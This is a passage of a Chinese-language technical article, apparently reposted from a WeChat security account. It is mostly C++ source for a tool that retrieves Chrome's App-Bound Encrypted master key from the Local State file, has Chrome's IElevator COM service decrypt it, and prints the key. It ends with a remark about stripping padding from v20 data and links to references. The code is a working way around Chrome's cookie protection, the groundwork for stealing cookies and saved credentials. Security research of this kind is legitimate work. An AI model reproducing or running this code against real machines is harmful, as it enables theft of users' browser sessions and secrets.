std::vector<uint8_t> encrypted_key_with_header = Base64Decode(base64_encrypted_key);
if (!std::equal(std::begin(KeyPrefix), std::end(KeyPrefix), encrypted_key_with_header.begin()))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Invalid key header." << std::endl;
return {};
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Key header is valid." << std::endl;
return std::vector<uint8_t>(encrypted_key_with_header.begin() + sizeof(KeyPrefix), encrypted_key_with_header.end());
}
void PrintChromeVersion(const std::string &chromePath)
{
DWORD handle = 0;
DWORD versionSize = GetFileVersionInfoSizeA(chromePath.c_str(), &handle);
if (versionSize == 0)
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Could not get version size for " << chromePath << std::endl;
return;
}
std::vector<char> versionData(versionSize);
if (!GetFileVersionInfoA(chromePath.c_str(), handle, versionSize, versionData.data()))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Could not get version info for " << chromePath << std::endl;
return;
}
VS_FIXEDFILEINFO *fileInfo = nullptr;
UINT size = 0;
if (!VerQueryValueA(versionData.data(), "\", reinterpret_cast<LPVOID *>(&fileInfo), &size))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Could not query version value." << std::endl;
return;
}
if (fileInfo)
{
DWORD major = HIWORD(fileInfo->dwFileVersionMS);
DWORD minor = LOWORD(fileInfo->dwFileVersionMS);
DWORD build = HIWORD(fileInfo->dwFileVersionLS);
DWORD revision = LOWORD(fileInfo->dwFileVersionLS);
ConsoleUtils::SetConsoleColor(10);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Found Chrome Version: " << major << "." << minor << "." << build << "." << revision << std::endl;
}
}
}
int main()
{
ConsoleUtils::DisplayBanner();
ChromeAppBound::PrintChromeVersion("C:\Program Files\Google\Chrome\Application\chrome.exe");
ConsoleUtils::SetConsoleColor(9);
std::cout << "[*] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Starting Chrome App-Bound Encryption Decryption process." << std::endl;
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
if (FAILED(hr))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Failed to initialize COM." << std::endl;
return -1;
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "COM library initialized." << std::endl;
Microsoft::WRL::ComPtr<IElevator> elevator;
DWORD last_error = ERROR_GEN_FAILURE;
hr = CoCreateInstance(CLSID_Elevator, nullptr, CLSCTX_LOCAL_SERVER, IID_IElevator, (void **)&elevator);
if (FAILED(hr))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Failed to create IElevator instance." << std::endl;
CoUninitialize();
return -1;
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "IElevator instance created successfully." << std::endl;
hr = CoSetProxyBlanket(
elevator.Get(),
RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
nullptr,
EOAC_DYNAMIC_CLOAKING);
if (FAILED(hr))
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Failed to set proxy blanket." << std::endl;
CoUninitialize();
return -1;
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Proxy blanket set successfully." << std::endl;
std::vector<uint8_t> encrypted_key = ChromeAppBound::RetrieveEncryptedKeyFromLocalState();
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Encrypted key retrieved: " << ChromeAppBound::BytesToHexString(encrypted_key.data(), 20) << "..." << std::endl;
BSTR ciphertext_data = SysAllocStringByteLen(reinterpret_cast<const char *>(encrypted_key.data()), encrypted_key.size());
if (!ciphertext_data)
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Failed to allocate BSTR for encrypted key." << std::endl;
CoUninitialize();
return -1;
}
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "BSTR allocated for encrypted key." << std::endl;
BSTR plaintext_data = nullptr;
hr = elevator->DecryptData(ciphertext_data, &plaintext_data, &last_error);
if (SUCCEEDED(hr))
{
ConsoleUtils::SetConsoleColor(9);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "Decryption successful." << std::endl;
BYTE *decrypted_key = new BYTE[ChromeAppBound::KeySize];
memcpy(decrypted_key, reinterpret_cast<void *>(plaintext_data), ChromeAppBound::KeySize);
SysFreeString(plaintext_data);
ConsoleUtils::SetConsoleColor(10);
std::cout << "[+] ";
ConsoleUtils::SetConsoleColor(7);
std::cout << "DECRYPTED KEY: ";
ConsoleUtils::SetConsoleColor(11);
std::cout << ChromeAppBound::BytesToHexString(decrypted_key, ChromeAppBound::KeySize) << std::endl;
ConsoleUtils::SetConsoleColor(7);
delete[] decrypted_key;
}
else
{
ConsoleUtils::SetConsoleColor(12);
std::cerr << "[-] ";
ConsoleUtils::SetConsoleColor(7);
std::cerr << "Decryption failed. Last error: " << last_error << std::endl;
}
SysFreeString(ciphertext_data);
CoUninitialize();
return 0;
}
效果如下:
PS:v20 的数据是带有脏数据的,去除 32 的长度。
0x05 参考
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view
原文始发于微信公众号(RowTeam):【技术解剖】Chrome 127 版本之后的 ABE 加解密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论